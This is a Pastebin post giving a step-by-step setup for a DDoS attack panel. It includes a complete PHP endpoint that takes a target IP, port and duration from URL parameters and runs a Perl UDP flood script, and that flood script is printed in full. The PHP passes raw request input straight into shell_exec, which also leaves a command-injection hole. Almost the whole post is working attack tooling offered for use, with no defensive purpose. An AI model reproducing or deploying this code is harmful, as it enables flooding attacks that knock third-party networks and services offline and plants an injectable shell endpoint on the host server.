Advertisement
securehatz

DDOS API Script [PHP] - Securehatz

Apr 7th, 2017
3,236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. Hello, this is a downloaded string.
  2. Step 1
  3. To setup our server to be compatible with our application we will need to do these things.
  4.  
  5. Enter the following commands in putty on your server.
  6. yum install nano -y
  7. yum install php -y
  8. yum install perl -y
  9. yum install httpd -y
  10. yum install dstat -y
  11. /////after its install do the following command
  12. cd /var/www/html
  13.  
  14. If this directory doesnt exist, type the following
  15. cd /var/
  16. mkdir www
  17. cd /var/www/
  18. mkdir html
  19. cd /var/www/html
  20.  
  21.  
  22. if the directory already exists just continue from the /var/www/html
  23. type the following
  24. nano send.php
  25. paste this code:
  26. <?php
  27. $attacktype = $_GET["method"];
  28. $ip = $_GET["ip"];
  29. if (empty($ip)) { $ip = $_GET["host"]; }
  30. $port = $_GET["port"];
  31. $time = $_GET["time"];
  32. $proc = hash('crc32', $ip);
  33. if (empty($ip) || empty($port) || empty($time) || empty($attacktype))
  34. {
  35. die('<span style="font: normal 16px Tahoma; color: red;">Incorrect Method, Valid Methods : UDP </span>');
  36. }
  37. if (($attacktype == "UDP") || ($attacktype == "udp"))
  38. {
  39. $output = shell_exec("perl new.pl $ip $port 4094 $time");
  40. print("Attack Sent on $ip:80 For $time using $attacktype!");
  41. }
  42. if (($attacktype == "STOP") || ($attacktype == "STOP"))
  43. {
  44. $output = shell_exec("sudo pkill -f $proc ");
  45. print("Attack Sent on $ip:80 For $time using $attacktype!");
  46. }
  47. ?>
  48.  
  49.  
  50. Then press ctrl x then Y
  51.  
  52.  
  53. after that type nano new.pl
  54. this is just a basic UDP script which will hit accordingly to your server. We will just use this basic script for now.
  55. put this code into the editor:
  56. #!/usr/bin/perl
  57.  
  58. ##############
  59. # udp flood.
  60. ##############
  61.  
  62. use Socket;
  63. use strict;
  64.  
  65. if ($#ARGV != 3) {
  66. print " \n";
  67. print "SMASH phunk";
  68. print "Command new.pl <ip> <port> <packets> <temps(en secondes)>\n";
  69. print " ip:port:packets:time\n";
  70. print " SMASH ROUTER\n";
  71. print " SKYPE: street.light.\n";
  72. exit(1);
  73. }
  74.  
  75. my ($ip,$port,$size,$time) = @ARGV;
  76.  
  77. my ($iaddr,$endtime,$psize,$pport);
  78.  
  79. $iaddr = inet_aton("$ip") or die "Impossible de se connecter à $ip\n";
  80. $endtime = time() + ($time ? $time : 1000000);
  81.  
  82. socket(flood, PF_INET, SOCK_DGRAM, 17);
  83.  
  84.  
  85. print "DDOS INITIATED ON $ip PORT " . ($port ? $port : "random") . ", " .
  86. ($size ? "$size-byte" : "random size") . " packets" .
  87. ($time ? " FOR $time secondes" : "") . "\n";
  88. print "Attaque arrêtée avec Ctrl-C\n" unless $time;
  89.  
  90. for (;time() <= $endtime;) {
  91. $psize = $size ? $size : int(rand(1500-64)+64) ;
  92. $pport = $port ? $port : int(rand(65500))+1;
  93.  
  94. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
  95.  
  96. Then Press Ctrl X then Y
  97.  
  98. then type the following
  99. chmod 777 new.pl
  100. service httpd restart
  101. service httpd start
  102.  
  103.  
  104. this should set up the scripts correctly if you did everything right. to see if so, type ifconfig and copy your servers ip address or just copy the ip address else where and put this in your webbrowser:
  105. http://myserverip/send.php?
  106.  
  107. replace "myserverip" with your server ip that is the only thing you need to change. If red letters are shown then you set it up correctly and it is ready to use. Simply open the application but change the myserverip to your servers ip.
  108.  
  109.  
  110. Then after you have done that we will need to let the program check if the server is online enter the following commands:
  111. cd /var/www/html
  112. nano status.txt
  113. write: online
  114. write only online nothing else just online
  115. after this ctrl x then Y
  116.  
  117. you should be all set up. ~No Bull Shit Panel
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement